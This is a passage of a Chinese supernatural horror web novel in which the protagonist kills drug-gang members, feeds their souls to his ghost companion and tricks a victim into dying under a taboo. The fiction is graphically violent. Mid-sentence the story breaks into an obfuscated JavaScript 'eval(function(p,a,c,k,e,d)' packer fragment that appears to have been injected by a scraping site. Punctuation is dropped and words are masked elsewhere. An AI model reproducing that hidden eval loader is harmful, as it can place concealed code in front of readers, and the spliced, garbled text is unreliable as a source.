“后来你变本加厉在家**,残杀了与你交往八年的女友周蕊蕊——她对一切毫不知情,被你用拳头活活打死,也是金老板的人帮你擦了屁股。” 眼镜睁大眼睛,嘴里涌出一股股黑血。 他想说不可能。金老板的人做得很干净,连周蕊蕊的父母都以为女儿在外打工,这个人怎么…… 方休笑了。 “我代周蕊蕊女士向你问好。” 他朝垂死的眼镜点点头,“顺便帮她带个话——严昊你个**,**先人。” “她……早就……死……” “我知道。”方休说,“我就是在帮**带话呀。” 第 33 章 该死之人 第33章该死之人 【别无选择。】 方休说罢,手顺着血泊一捞,捞出一大堆旺○牛奶。 他把它当手.雷用,朝邪祟嘴里狂砸。邪祟被砸得心头火起,舌头猛然抽离眼镜,眼镜啪地摔上地面,当场断了气。 “隐藏……方休还没说完,在场所有人——包括眼镜的尸体——就都被白双影藏了起来。 他和他的鬼真是越来越默契了。方休满足地跑向眼镜,绕着尸体画了个圈,顺手拿走了眼镜的五帝钱。 “快趁热尝尝。他兴高采烈地招呼白双影。 白双影薅住眼镜还在挣扎的生魂,细心搓成圆饼,小心翼翼咬了一口。 ……真的非常美味。 眼镜的生魂颤抖不止,发出细小尖锐的哀嚎。白双影听得胃口大开,活像那是食物刚出锅的滋滋声响。 白双影很少吃到这样可口的生魂,它尝起来因果丰富、罪孽层次细腻,他细细咀嚼了好一会儿。 “比四爷还强些。白双影愉快地评价。 他把剩余的生魂月饼放入怀中,决定稍后慢慢享用。 “‘金老板’只会更好吃。方休说。 他把厨余尸体拖到蟾蜍邪祟面前——这东西没有功劳也有苦劳,总得有些回报。 尸体到位,隐藏解除。 蟾蜍邪祟并不买账,它愤怒地张开嘴,鲜血淋漓的巨口转向方休。然后……然后它就停住了。 后巷灯光昏暗,依稀照亮了那个红衣人类。 那人背后的黑暗中,赫然亮着两个苍白光点——一双白瞳冷冰冰地凝视它,压迫感犹如山倾。 蟾蜍邪祟巨大的身躯颤了颤,低下头颅。 几秒后,它灰溜溜调转方向,紫黑长舌一弹一收,咬碎了眼镜的尸体。尸体大半个头颅崩飞,咣当当掉进垃圾桶。 方休噗嗤一笑:“现在垃圾桶里真有人头了,我也不算说谎。 白双影摸摸胸口挣扎的月饼:“嗯。 关鹤看傻了。 先前他以为,方休是那种低调冷静、三观正常的头脑派。和贾旭那个装逼犯相比,他更尊敬方休。 ……然后方休就在他面前轻描淡写地杀了人。 方休说的那些是真的么? 眼镜真的是毒贩?为什么方休能给**传话?不是说祭祀里没有玄学中人吗? 十万个为什么塞满脑海,关鹤愣在原地,全程没能反应过来。 方休走到他面前,拍拍他的肩:“关鹤同学,接下来我说的话,你要认真听。 “呃,嗯。关鹤缩缩脖子。 “我在官方特殊机构工作,专门处理警方不便调查的案件。 方休说,“我个人没有阴阳眼,不算玄学中人,但我有很多专业的线人——我向你保证,我杀的人个个死不足惜。” 一听官方机构,关鹤表情立刻放松下来:“原来是这样!太好了,太好了……” 方休冲他眨眨眼:“记得帮我保密。” “为什么不告诉大家?”关鹤不理解。 队伍里有官方专业人士,多好的定心丸啊。 方休意味深长地沉默片刻:“我有我的难处,你很快就会懂的。” 关鹤乖乖点头。也对,说不定方哥在做什么卧底任务,总之方哥一定有他的理由。 虽然他隐约觉得,官方人士**不该那么轻松写意……但是管他呢,反正是杀**,说不定方休格外嫉恶如仇。 “所以,眼镜真的是毒贩?”关鹤问。 “是的。” 关鹤抿抿嘴,目光里多了一丝仇恨:“也就是说,老金他们也是毒贩?” “是,不过不用担心,待会儿我会教你怎么应付他们。” “哥你现在就教我!” 方休笑着摇头:“不,你现在的任务是好好休息。” 方休就近找了个治安亭,亭子不大,刚好够关鹤蜷着睡一觉。他让白双影彻底隐藏关鹤,终于,街上只剩下他和白双影两个。 “逛街喽——”方休大大地伸了个懒腰。 然后他发现白双影的情绪有点不对劲,此鬼脸上有点微妙的失望。 白双影小口咬着生魂月饼:“你是官家的人?” “哦那个,那是骗小关的。”方休挠挠脸,“官家怎么了,会不一样吗?” 白双影:“因果繁杂的生魂很好吃。可要是生魂带功德,吃下去有损修为。” 方休:“……” 怪不得白双影对嵬山神的残魂毫无兴趣。 “功德”被白双影说得活像黑心添加剂。眼下,他的鬼正怀疑“方休牌生魂”配料表不健康。 “‘功德’究竟怎么算?”方休突然紧张起来。 白双影想了想,拿眼镜举例。同是“毒贩**”,状况无非三种—— 其一。眼镜**被反杀,或被执行**。 这种算是罪有应得。**者不积功德,因果都沾不上。 其二。眼镜死于利益**、意外事故、寻仇等事件。 这种动机无关善意。**者只沾因果,没什么功德可言。 其三。眼镜被官家捕快、仗义侠士所杀。 这种才属于替天行道。**者除了沾因果,还会记上功德一件。 “……天道比‘厄’聪明,既论迹也论心。哪怕结果都是惩恶,只有心怀大义,才能积攒功德。”白双影总结。 方休深感有理。不然毒贩内部 火拼最后竟然有人积了德那也太黑色幽默了。 “正宗罪人生魂十多年坚持抓新鲜畜生现杀敢承诺不添加任何功德。” 方休严肃地拍拍胸口“当然我自己更是纯祸害我从小杀到大。” 白双影:“……” 也对看方休剁碎山混子的模样不像良善之辈。 再看此人对邪祟毫不在意的态度“没有阴阳眼”肯定也是骗人的。不过方休对地府之事所知甚少大约也不是走无常。 对了有些人类会以这类阴间天赋谋财方休果然是拿钱办事的刺客。而能让人恨到花钱雇佣幽冥刺客方休的目标绝对不会是什么好东西。 “我们去买花瓶。”白双影放心了他把袖子塞进方休手里。 方休“啊”了一声有点不好意思:“我还没攒够钱……” 白双影从衣服里掏出一沓钱:“我也捡了许多我们一起买。” 方休有点吃惊地看着那沓钱他没注意白双影什么时候捡的。白双影捡得用心又笨拙硬币里混了游戏币纸币和颜色相近的代金券叠在一起。 但他们的钱加起来确实够甚至还多了些。 白双影理所当然道:“先是纸花 方休抓着白色衣袖的手紧了紧。 “你说得对。”他又笑起来。 …… 十几分钟后纪念品商店“怀珍奇宝”。 把花瓶拿到手白双影没有立刻离开而是拉着方休在店里坐下。 “五帝钱给我。”他朝方休摊开手。 方休迷惑地照做。 白双影满意地唔了声。他细细拆解五帝钱的红流苏分开了红绳与钱币。 五枚铜钱被白双影扣在手心迅速长出厚厚的铜绿散发着极其不祥的阴气。随后白双影重新编织红绳做了个鬼气森森的铜钱长命锁。 方休看得十分起劲:“这是?” 白双影:“你想护着那个小累赘我看得出来。” 方休反应了几秒才意识到白双影说的是关鹤:“他年纪小我顺手照顾一下。” 其实白双影那句“累赘”不算错。 关鹤的小儿鬼只有“不显眼”这么一个能力连个钢镚都捡不起来性价比被白双影的“隐藏”按在地上打。 关鹤本人的智力和战斗力也都一般综合实力妥妥的倒数第一。 “你把这个给他的鬼。那只小儿鬼戴上它能使用五鬼搬运术。” 白双影道“让他为你做事省得他白白占你时间。” 五鬼搬运术换句话说就是“隔空取物”确实和小儿鬼的特性很搭。只要用对场合说不定 有奇效。 方休接过铜钱长命锁顺嘴:“怎么不高兴别人占了咱俩的相处时间?” 白双影不假思索:“对。” 方休一句玩笑话卡在嘴里又噎住了噎得脖颈有点发红。 “既然你这么中意我为啥不把五帝钱留给我?”半天他终于憋出一句话。 “那东西没用你有我就够了。”白双影继续理直气壮。 他的尊位还在压制一两只邪祟完全不成问题。就算被封印影响也比那种法器强个千百倍。 方休又噎了会儿他用力抹了两把脸只当白双影在说“隐藏”的事。 于是他迅速转移话题:“既然你这样了解法器那老金身上的法器你能认出来吧。” 白双影想了想:“五帝钱算一件。他身上还藏了个八卦镜具体功用得看看外观。” 法器不多。看来老金一伙也是新人但他们至少经历过一次祭祀方休想。 自己说“破坏‘厄’的人有奖励”时老金的惊讶完全是演技。而在那个瞬间麻子他们本能地看向老金的手臂。 老金可能也有破坏“厄”的奖励就是不知道是什么。 “老金那个黄金菩萨呢?”方休又问。 “只是块金子罢了。”白双影说。 …… 两人绕着街道慢慢逛了圈儿重点观赏了现代玩具店和小画廊。方休一直磨蹭到下午两点才去治安亭把关鹤叫醒。 关鹤睡了个饱整个人显得神采奕奕。拿到新鲜出炉的铜钱长命锁他的脸色更好了:“方哥谢谢你!” 年轻人就是单纯方休顶着“官方专业人士”这个假招牌关鹤连长命锁的来处都没问。他直接叫出小儿鬼小心翼翼地给它戴上小儿鬼抱紧长命锁乐得咯咯直笑。 不知道是不是方休的错觉他觉得关鹤好像很擅长照顾小孩。 简单地介绍完五鬼搬运术方休直奔主题:“以你的性子骗不过老金那种毒贩。接下来你就装作被吓懵不要与他们眼神接触也不要说话。” 关鹤本来就不喜欢吭声不说话也不会显得突兀。 关鹤有点踌躇:“‘装作被吓懵’……我怕我演不好。” 方休扯扯嘴角。他吸了口气手臂往镶满碎石的墙面一擦瞬间擦出一大片血肉模糊。 随后他从地上捡了块啤酒瓶碎片走近关鹤。碎片很长像把小**。 闻到浓郁的血腥气关鹤打了个哆嗦:“方哥?” “接下来我会把你的头弄伤。视觉效果可能有些血腥不过我有数。” “记住 擅长隐藏只有擦伤。” 方休把玩着酒瓶碎片锋利的边缘在他手上留下细小的划伤方休却毫不在意。 “……你头 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他一开始不想相信但方休哭得太真情实感他有点混乱:“你先别在这哭路上注意了吗?邪祟有没有补充?” “没补充数量比昨天还少。”方休哑着嗓子说。 “操!”黄毛大骂。 “出什么事了?”方休抽抽鼻子。 贾旭叹了口气:“你们不在的时候我们确定了第一条禁忌。” “其实这里昼夜颠倒禁忌deadline是每天上午11:45也就是午时三刻……而且第一条禁忌无差别生效邪祟也得杀邪祟否则会犯忌。” 说罢贾旭又挤出一点明快的表情“不过这条禁忌不是死忌犯忌的邪祟只是持续衰弱没有死亡迹象。” 贾旭说得含含糊糊方休知道他在逃避重点——禁忌无差别生效 不过不用贾旭说方休亲自用眼镜试过了**确实算数。 哪怕没直接动手眼镜只是因他而死他也没有犯忌。 午时三刻到纳命一条。 第一条禁忌虽然不是死忌却要他们残杀彼此……无论是这个时间点还是禁忌要求都有点意思。 “我看外面还剩二三百只邪祟。我们还有时间一定没问题的!”方休说。 只剩两条禁忌需要确认他还有三个毒 贩能用,一定没问题的!他心想。 “午时三刻、午时三刻,不知道的还当菜市口杀头。”黄毛嘟囔。 成松云忙着给关鹤处理伤口,脱口而出:“说不定这里的人都该死呢。” 此话一出,屋内陷入古怪的静寂。 一时间,居然谁都没有反驳。 “……大妹子这话说的,过了哈。” 老金摩挲着胸口的菩萨,头一个打破沉默,“我就本本分分一个生意人。你再看看那个小孩——那小孩儿能干啥啊。” 关鹤动了动,嘴唇抿得紧紧的。 贾旭下意识提高声音:“肯定是‘厄’单方面觉得大家该死,那东西本来就没脑子。” “说不定留执念的家伙是个底层loser,就想无差别报复社会。” 方休抹抹通红的眼眶:“呃,先别把人想的太坏,大家还是尽快弄清第二条禁忌……” 一想到那骇人的血红夜晚,大家又没了动静。 那条禁忌一看就危险得要命,活腻了才上赶着研究。 方休:“那先跳过第二条,搞清第三条也挺好的……” 众人还是没什么反应,表情越发阴沉。 方休说的未尝没有道理,可是探索这么久,第三条禁忌连个影子都不见。只有第一条禁忌在那不怀好意地倒计时。 气氛一时陷入尴尬。 接下来只有一条路,所有人都知道,但所有人都不愿意先提出来—— 时间有限,他们必须尽快调查那个血红夜晚。 要调查清楚那东西,用邪祟做实验恐怕不够。他们之中,必须有人做出牺牲。 …… 见方休演够了,白双影也放下了袖子。 这会儿他没心思听人类们叭叭叭开会,他的注意力飞出窗外,集中到某个方向—— 给方休找“附近最强邪祟”时,白双影就觉得此地有点古怪。 街上有一道非常特殊的气息。 那气息似鬼非鬼,离鬼仙就差那么一点点,比隔壁福老儿不知强上多少倍。 可是这只强悍的邪祟一直没有现身——它只是若即若离地跟着众人,把气息遮掩得无比完美,像是在看戏。 发现方休把生魂给了白双影,它甚至故意放气息过来试探,被白双影即刻糊弄过去。要不是有封印,他准要第一时间揪出那个无礼之徒。 “方休。” 白双影戳戳方休的后颈,决定和他的人类朋友分享这个发现。 “……这里有只半步鬼仙的大邪祟。它已经取得了厄的认可,只需积攒实力。” “等这一批祭品全死光,生魂可以养出一位新的鬼仙。” “……你说什么?”方休努力压住声音。 “此处的‘厄’难解也正常。” 白双影转过眼,语气稀松平常,“我想这一回,地府一开始就没打算让你们赢。” “你们被叫做‘祭品’,不是没有原因的。” 第 34 章 绝望三日 第34章绝望三日 【实验开始。】 说完,白双影期待地看着方休等待此人全新的反应。他还没见过方休惊慌失措呢。 然而方休只是挠挠头:“好的。” 他还没有白双影告诉他“眼镜很好吃”时激动。 白双影:“?” 他觉得自己的疑问不够明显于是把方休的脸掰向自己。 白双影微微歪头,再次:“?” 方休连忙:“这个情报确实很宝贵,多亏了你我自己肯定发现不了。” 随后他放柔声音,“但现在更重要的 “管它是鬼仙还是地府,只要规则上能赢专心去赢就好。” 白双影看着方休那双黑眼睛,它们现在溢满光彩。那并非不知天高地厚的自信,而是对于夺取胜利的狂热。 就像焰火。 白双影不喜欢人类,但他不讨厌焰火。他会记得此处的璀璨烟花他想他大概也会记住方休。 “……你打算怎么办?”白双影松开方休的脸。 方休坏心眼地挠挠他的手背嘴唇比着口型:“当然是用人试了。” “不过,现在还不是时候。” …… 第二个血夜在夜晚六点整降临。 六点前,众人在店门外绑了四只邪祟。 这四只小邪祟犯了忌,它们虚弱到无法动弹。透过门上的小窗,他们正好能看见它们。 很快,风暴般的呼吸声再次响起。 呼吸声离据点还有一段距离,门口的邪祟们便发出了吱吱啊啊的悲鸣那声音无比凄厉,仿佛被凌迟。 几秒后,屋外只剩下怪异的呼吸声响以及液体滴落的黏腻水声。 这回连老金都没费心摆出好脸色——这地方的禁忌无差别扫射既然邪祟出了事,换成人类也好不到哪里去。 第二条禁忌极有可能是这里的死忌。 哪怕呼吸声远去谁都不愿冒险往外看。 祭祀开始的时间实际上是上午算算时间众人已经一天半没好好休息过。反正实验有了结果人们索性各自找地方睡了——现在不缺吃喝邪祟姑且没死光大家还没到撕破脸的时候。 方休选了最暗的角落。 他面朝据点门扉双手抱着膝盖下半张脸被手臂遮挡。门外呼吸声远远近近方休刘海下的眼眸慢慢弯起笑意藏得很好。 接着他微微倾斜身体倚上坐在身边的白双影很快沉入梦乡。不知道有意还是无意他的面颊压上了白双影胸口长发随着呼吸轻轻蹭动 。 白双影垂头看方休。 现在方休不会在睡着时使劲儿搂着他,反而颇为放松地靠过来,似乎是对他多了几分信任。 信任啊…… 白双影用半个塑料模特代替自己,溜了。 他能感受到,那只半步鬼仙正在移动。可惜它利用厄的力量遮掩,白双影没法确定它的确切位置。 好消息是,那只大邪祟还没正式修成鬼仙,它同样要遵循厄的规则。 眼下它在外面自由行动,说明只要方法得当,血夜也可以外出。 其实白双影掂量过,这里的“厄根本镇不住自己。不过要是他硬扛死忌,肯定会被地府发现。 白双影决心找到禁忌允许的“外出方法。 他被封印得够久了,实在不喜欢每天十二小时被束缚在室内。何况还有只半步鬼仙在那贴脸嘚瑟,想想就不爽。 白双影全力隐藏自己,融化为本体模样,随即把一点点小触须伸出门缝。 蜗牛眼似的触须在红光里扭动片刻,果然没什么事。于是白双影又钻出去一点点,试着感受更多,然后—— 然后一双温热的手把他整个儿抱了起来,刚探出的触须也呲溜一下抽回门内。 白双影:“! 是方休。 他的人类与他立了契,他的隐藏对方休无效。 方休抱抱枕一样抱起白双影的本体,把他的鬼往回拖。他将脸埋进那团轻盈的异形,嘴里还在嘀咕:“……我都说了我觉很轻…… 白双影努力蠕动,他怕用力太大误杀方休,结果怎么都挣不开。 “你不要去试禁忌……危险……交给我就好…… 方休迷迷糊糊唠叨,“你要陪我……走到最后…… 方休用脚挪开那个塑料模特,又缩回原位,恨不得整个人都窝进白双影的本体。 “嗯……他用面颊蹭蹭那异质的怪物,发出满足的声音。 白双影被搂得动弹不得,果断拿出**锏——他变回了人形。 身边柔软冰冷的流体变成了柔韧光滑的肌肤,方休一下子清醒了。 他发现白双影衣衫不整地坐着,自己正抱着人家的腰不撒手,还把脸埋在人家的胸腹之间。 方休:“…… 方休咽了口唾沫,少见地结巴:“……我、我说我不是故意的,你信吗? 白双影字正腔圆:“登徒子。 方休默默松开手,他有点想辩解,又不知道该怎么说——难道要说“对不起我刚才睡迷糊了把你当成了懒人沙发吗,听起来好像也很失礼。 “下次不要趁我睡觉试禁忌了,很危险。方休光速转移话题。 这次换白双影无话可说——他总不能 说看大邪祟在外面撒欢很不爽,自己也想出去遛弯。 最终两人相顾无言,唯有一比一平。 “我们继续休息吧。 “嗯。白双影坐回方休身边,一人一鬼再次倚在一起。 这次,白双影再没考虑往外跑。他拿出那个小巧的白瓷花瓶,在手中慢慢把玩。 …… 次日清晨六点,血夜结束,祭祀正式进入第三天。 据点门扉敞开,他们一眼就看见了那四只“试验品的结局。 四只邪祟歪歪斜斜倒在地上,全身皮肉翻卷,遍布伤痕。从周围血迹看来,这些伤口都是瞬间产生的。 面对这样的惨况,人们没有太意外,只是越发沉默。 如此不合常理的死相,死忌无疑。 方休多看了两眼,只觉得这四具尸体的死状很有趣。 其中三只邪祟面朝呼吸声靠近的方向,仰面倒地而死。剩余一具似乎想要逃跑,爬出几步后才死去,尸体还保留着扭头的姿势。 发现老金在看自己,方休做出一副恐惧的模样,并没有说出这个发现。 紧接而来的第三个“白夜,众人多了件无比重要的任务——数清这条街上还剩多少邪祟。 如今,这是关乎所有人生死的大问题。 关鹤“受伤,不便行动。于是这次成松云和关鹤守据点,其余七人尽数出动。 老金三人不愿分开,贾旭不愿意割舍战斗力高强的黄毛,梅岚也不想和老金他们打交道。末了两边三对三,多出来一个方休。 “正好分开行动,各数一遍。贾旭招呼方休。 “老大,我想和老金他们一起走。方休说,“咱们本来人就多,老金那边能力单一,咱们该给他们一些支持。 说罢,他咬咬嘴唇,“昨天眼镜哥的死,我有责任,我个人也想补偿他们…… 贾旭不懂,但贾旭大为震撼。方休听起来相当真情流露,没有任何表演痕迹。 这小子明明在嵬山村时还**不眨眼来着,难道是因为老金这组没对他们动手?……那方休还挺爱恨分明。 话说回来,自己和梅岚都擅长隐蔽,还有个战斗力够强的黄毛。虽说方休的“隐藏很好用,但也并非刚需。 “行,你过去吧。贾旭瞧了眼老金,口吻很大度。 “小伙子有心了。老金冲方休点点头。 话是这么说,老金并没有跟方休走在一起。他让麻子守着自己,安排大顺寸步不离地跟着方休。 大顺身高一米七出头,长相如同沙皮狗成精。他全身都是牌子货,头发狗舔一样紧贴头皮,油光锃亮。 一路上,方休似乎没察 觉到老金的防备,他颇为积极地与大顺攀谈。 “大顺哥,你这衣服是名牌啊。 “大顺哥,你这表是劳力士绿水鬼?哎哟,我还是第一次见到真货。 …… “哥,小心!方休身子一动,帮大顺挡了一波邪祟攻击,手臂又多了几道血淋淋的口子。 方休甜言蜜语带护卫,捧得大顺格外受用。外加路上邪祟少,一来二去,两人还真聊了起来。 听闻方休父母双亡,目前在医院干保洁,大顺当场嗤笑出声。 “保洁一个月才几个钱,不够哥喝顿酒。他不屑一顾道,“你在癸省泰易市是吧。要是咱能在外面见着,哥收你当个小弟,包你一个月三五万。 老金目光有意无意扫过来,大顺赶紧干咳两声:“外头邪祟还真少了不少啊。 “嗯,我们要多数几遍。方休忧心忡忡,“这都不够一百只了,得快点找到厄才行。 仗着五帝钱“迷惑鬼心的本事,他们翻遍了街道、暗巷、甚至垃圾桶。 小邪祟基本**个干净,剩下的全是些中大型邪祟,满打满算不超过七十只。邪祟变强了,老金他们的五帝钱控制得颇为吃力,老金面沉如水。 接着他们反复数了三四遍。邪祟又自相残杀**几只,关于“厄的线索却一点都没多。 空中焰火噼里啪啦炸个不停,越发惹人生厌。 中午十二点,两组人在街道中央汇合。 “加上据点里剩下的,六十四只。方休大声说。 果然,贾旭立刻跳出来否定:“午时三刻过了,得扣掉成姐和小关杀的两只。这条街只剩六十二只邪祟。 黄毛:“还好还好。听着挺多的。 贾旭:“好什么好,我们这边足足九个人。只靠邪祟,大家最多还能撑两天。 第一条禁忌无差别减半,如果他们坚持只杀邪祟的话…… 明天减半,邪祟最多剩下二十六只。后天再减半,邪祟只剩八只……大后天午时三刻前,他们会面临九个人类,八只邪祟的窘境。 这还是邪祟每天只杀一只同类的理想情况,实际状况只会更糟。那群没脑子的玩意儿根本见一个杀一个。 老金思忖片刻:“等邪祟再少点,不如隔离部分邪祟。它们犯忌无所谓,至少能减得慢点。 说罢,他又皱起眉,“但这最多拖个一两天,解决不了问题。 ……只要找不到“厄,他们早晚要靠**争取时间。 怪不得那只大邪祟不出面,方休心想。 不用它挑拨,人类就会全自动互相残杀。它只需趁乱杀够自己的份额,再来个螳螂捕蝉黄雀在后——等所有祭品和邪祟 死光,它坐等下一批就好。 哦,听白双影的说法,它甚至不用等下一批,这次就能成仙。 “今晚再拿邪祟试试吧。方休小声提议,“其实我觉得早上那几只邪祟死得挺奇怪…… 老金扬起眉毛:“怎么说? 方休一副不太自信的模样:“面朝那个呼吸声的,一下子就**。那只背对呼吸声的,反而多活了几秒……它死的时候在回头,可能禁忌是‘不能直视’…… 方休还没说完,贾旭立刻来了劲儿:“今晚我们蒙住邪祟的眼睛,再放到外头试试看! 老金长长地唔了声:“没办法,先这样吧。 一整个“白夜,除了做完鬼口普查,众人一无所获。眼看血夜又要到来,贾旭撕了点布条,蒙住邪祟的眼睛。 “一个不够。麻子又抓了只邪祟,他懒得找布条蒙眼,生生抠掉了邪祟的眼球。 四个眼球啪嗒落地,散发出难闻的腥臭。 小邪祟当场惨叫一声,无力地挥动四肢。麻子熟练地制住它,表情毫无波动。 贾旭吓得舌头有点大:“现、现在咱抓的邪祟不多了,很宝贵…… 麻子阴恻恻地看了贾旭一眼,贾旭瞬间不敢再做声。 两只邪祟被安排在老位置,脸也固定朝向同一个方向。可惜一切如常—— 呼吸声缓缓接近,还有一段距离时,邪祟们便惨叫着死去。 次日确认时,挖了眼的邪祟仰面朝天,死得干净利落。 贾旭那只邪祟自己扒开布条,转身多逃了两步。死的时候,它同样回着头。 贾旭立刻转向方休:“你猜错了,禁忌不是‘不能直视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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老金露出一个和善的微笑,“你的能力是隐藏,最适合试探。别误会,没逼你去的意思。” “你拿食物的能力在,就算我们互相残杀,也会保你到最后嘛……你不想去的话,大家都能理解。” 他后半句话一字一顿,说得所有人都能听见。 不说老金一伙,连方休同组的人都一片静默。除了成松云——成松云咬咬牙:“你什么意思?小方没义务……” 她话还没说完,关鹤拉拉她的袖子。 成松云疑惑的视线中,关鹤摇了摇头,小心比着口型:“方哥没拒绝,他绝对有自己的安排。” 见关鹤的眼神异常坚定,成松云闭了嘴。 “好,我知道了。” 方休做了个深呼吸,表情有点悲壮。 老金刚要露出微笑,就听到方休下一句话—— “但我没有战斗力,需要人陪着,我要他陪我。” 方休径直指向麻子,“小关受了伤,如果我们这边再死上两个人,那实在是……抱歉,金叔,我必须考虑我的同伴。” 他就差在脑门写上“我都答应冒险了,你最好意思意思”。 老金捏紧烟盒,权衡片刻:“大顺,你跟着去。” “老板?!”大顺大惊。 “小方会隐藏,能护着你,你俩不是配合得挺好吗?” 老金淡淡道,“对面是禁忌,力量差点也没啥,我出人就行……是这个意思吧小方?” 方休抿抿嘴:“……嗯。” 只有白双影看得到,方休嘴角扭了半天,好不容易压下去一个微笑。 ……原来如此,这个人类一 开始的目标就是大顺。 真要带上人高马大的麻子,方休很难控制对方。 “我们走了。” 傍晚五点五十分,方休随手抓了几件旧衣服,踏出门槛,“答应我,大家今晚不要自相残杀……要是我回来的时候发现**人,我一个字都不会说!” “成姐,照顾好小关。”临走前,方休特地强调了一句。 离六点还剩十分钟,方休带着大顺埋头冲刺,奔向据点右侧的牌坊——每次呼吸声从据点左侧的牌坊出现,一路移向右侧,再来回移动。 两人很快冲到街道尽头,方休在那家“怀珍奇宝”前停住步子,扶着膝盖喘息。 此刻离血夜降临只剩三分钟。 大顺吓得直抖:“小、小方啊,你那隐藏真的没问题?” 方休甩给他一件旧衣服:“待会用它蒙住脸,不要出声。” 大顺眉头跳了跳——方休语气变了,不再是他熟悉的“无知青年”口吻。此时此刻,这个年轻人听起来就像一个上位者。 还是金老板那样,会轻松取人性命的上位者。 大顺顿觉不妙:“为什么要蒙脸……” “让你蒙就蒙。”方休懒得解释,反正时间有限,大顺没机会跑回据点。 随后他转向白双影,语气一下子变软:“白双影,你也把脸藏一下,袖子盖住就……嘶!” 白双影直接把五官变没了,只剩一张空白脸皮,以及那一点艳红血痣。 方休瞬间悲伤:“好浪费——!” 随后,方休唉声叹气地拿起一件旧衣服,蒙上自己的脑袋。 与大顺不同的是,他特地在衣服上留好了两个洞,勉强能够看到外界。 紧接着,三人在紧邻牌坊的巷子口藏好。 白双影加强隐藏,顺手戳戳方休:“究竟怎么回事?” 他真的很好奇要怎么在血夜里散步。 方休笑了笑,压低声音。 “那些邪祟的惨叫、动作和尸体,我观察得可认真了呢。” 白双影好奇地贴近没有五官的头。方休看着白双影空白的面庞,指尖碰了碰那颗血痣。 “……等用大顺验证完,我就告诉你。”他轻声说,“到时,你可以边吃生魂边听。” 话音刚落,第四个血夜正式降临。 第 35 章 不可露脸 第35章不可露脸 【禁忌之二。】 血夜降临,行人凝固焰火与圆月全部被暗红遮盖。 黑红的血淅淅沥沥砸在地上发出粘稠的滴答声。它们落地后消失无踪,约莫也是幻影。 可它们留下的腥气无比真实。 呼吸声从街道另一端响起。大顺被蒙着头,什么都看不见。他整个人紧贴巷子墙壁呼吸凌乱得仿佛碱**。 “怎么办,怎么办……”大顺喃喃低语口水沾湿了脸上的布料。 方休一只手拍上他的肩语气平静:“现在向前走。” “不……不、不……” “你不是好好的吗?我说,向前走。” 方休的声音温柔极了。只是在这疯狂的血夜中那份温柔让人毛骨悚然。 极度恐惧下,方休的声音仿佛一根牵引绳,大顺完全无法正常思考。 ……对对,他听方休的话确实还安全。 ……方休一直对他很亲切还舍身保护他。刚才方休态度奇怪,绝对是因为状况特殊……他**,对方休没好处……一定是这样…… 一声声劝诱下,大顺蹒跚着向前。他走出巷子,被蒙住的头徒劳地转动。 方休微笑起来,指节轻轻抵住下唇:“大顺哥,左转相信我。” “是、是这样吗……” 大顺听起来快哭了。他正好面对呼吸声的方向,呼吸声越来越近,他一动不敢动。 “就这样。”方休及时安抚道“千万别动。” 呼吸声已经近到当初的“致死距离”方休听得清清楚楚。 验证完成了一半,接下来是操作时间。 方休示意白双影留在原地只身走出暗巷。 他一路看着地面停在一米七的大顺身后:“……你做得很好。” 听见方休来到自己身边大顺整个人放松下来。他喉结滑动刚想说些什么膝盖弯就挨了重重一脚。 大顺猝不及防当场跪下。 方休借着体重扑上前 大顺青蛙般四肢着地奋力扑腾:“你你你干什么?!” 紧接着他的头发被方休揪住面孔被迫抬起。 此时此刻大顺终于嗅到了死亡的味道。 “小方、小方别这样。”他声音疯狂颤抖“我给你两百万……四百万!你不是喜欢这块表吗哥给你都、都给你……” 方休的动作停了仿佛真的在思考。 大顺连忙继续:“你还想要什么?房子?车?美女?……你你你放了哥哥都给你安排要啥有啥!” “太好了谢谢大顺 哥。” 方休的口气单纯又讨好,和前两天一模一样。 几秒后,他有点腼腆地继续道:“……我想要你的生魂,范大顺先生。” 大顺猛地打了个哆嗦,身体顿时僵住。 “范大顺,三十八岁,卯省籍贯。你在‘金老板’手下干了十九年,负责给团伙找马仔。因为人体运毒失败、帮派火拼等事件,你间接导致一百四十五人死亡。” “其他团伙为了寻仇,把你无辜的双胞胎弟弟——范小顺一家四口折磨致死。可惜你不在乎,你根本看不上你老实工作的弟弟。” 大顺风箱一样喘.息:“关、关我屁事……马仔都知情,他们拿了钱……” 方休扯着大顺脸上的衣服,从他的额头慢慢往下揭:“你弟弟呢?**上门后,他才知道亲哥涉毒。” “又又又不是我杀的……他命不好……” 方休叹气:“你这个哥当得真垃圾,怪不得范小顺一句话都不想跟你说。” 这话说得非常奇怪,然而大顺无暇细想。 他脸上的衣服被方休扯下一半,正好露出眼睛——此刻,他能看到那呼吸声的来源。 看清呼吸声本体的一瞬,范大顺当场吓尿了裤子。他发出不像人的凄厉喊叫,发疯似的挣扎。 方休瘦归瘦,一米八出头的个子摆在那。体重压制下,大顺根本逃不脱。他一双手在地上狂挠,挠得指尖血肉模糊。 “有怪物——”他尖叫,“求求你放了我放了我放了我——” 方休置若罔闻。 他缓慢地、按部就班地扯下大顺的蒙面。从只露眼睛到露出颧骨,再到露出整个鼻子…… 嘴唇暴露的瞬间,大顺发出一声哀嚎,全身皮肉鱼鳞般掀开。 血液漫天喷溅,如同赤红烟花在地上绽裂。道道伤口深可见骨,热腾腾的鲜血淋了方休满身。 方休岿然不动,左手仍然牢牢攥紧大顺的头发,强迫他抬头看。 “给我看着。” 方休的声音满是笑意,“你们兄弟俩一起在血里生,也要一起在血里死——这样才公平嘛。” 他脸上的衣服被鲜血浸透,变成黯淡的黑红。即便如此,那双眼依旧黑得无比突出。 血液飞速流失,大顺的身体因为剧痛而扭曲。他连惨叫的力气都不剩,只能发出模糊的呜咽声。 短短几秒后,大顺没了声息。 沉重的呼吸声就在十几步外,方休终于抬起了头。 他只是平静打量了那东西一会儿,随即朝白双影挥起手来。 白双影踏出阴影。他转过没有五官的脸,看清了第二禁忌的正体—— 那是一张无比巨大的人脸。 怪脸挤在街道上空。 像是透过琉璃珠折射,它的五官夸张地扭曲在一起,只能分个大概。 那只鼻子足足有街道一半宽,变形的双眼翻着眼白,不怀好意地俯视两人。 它的鼻尖离方休头顶不到两米,却没再有额外的动作。 举目皆是殷红,整条街道血腥气逼人。 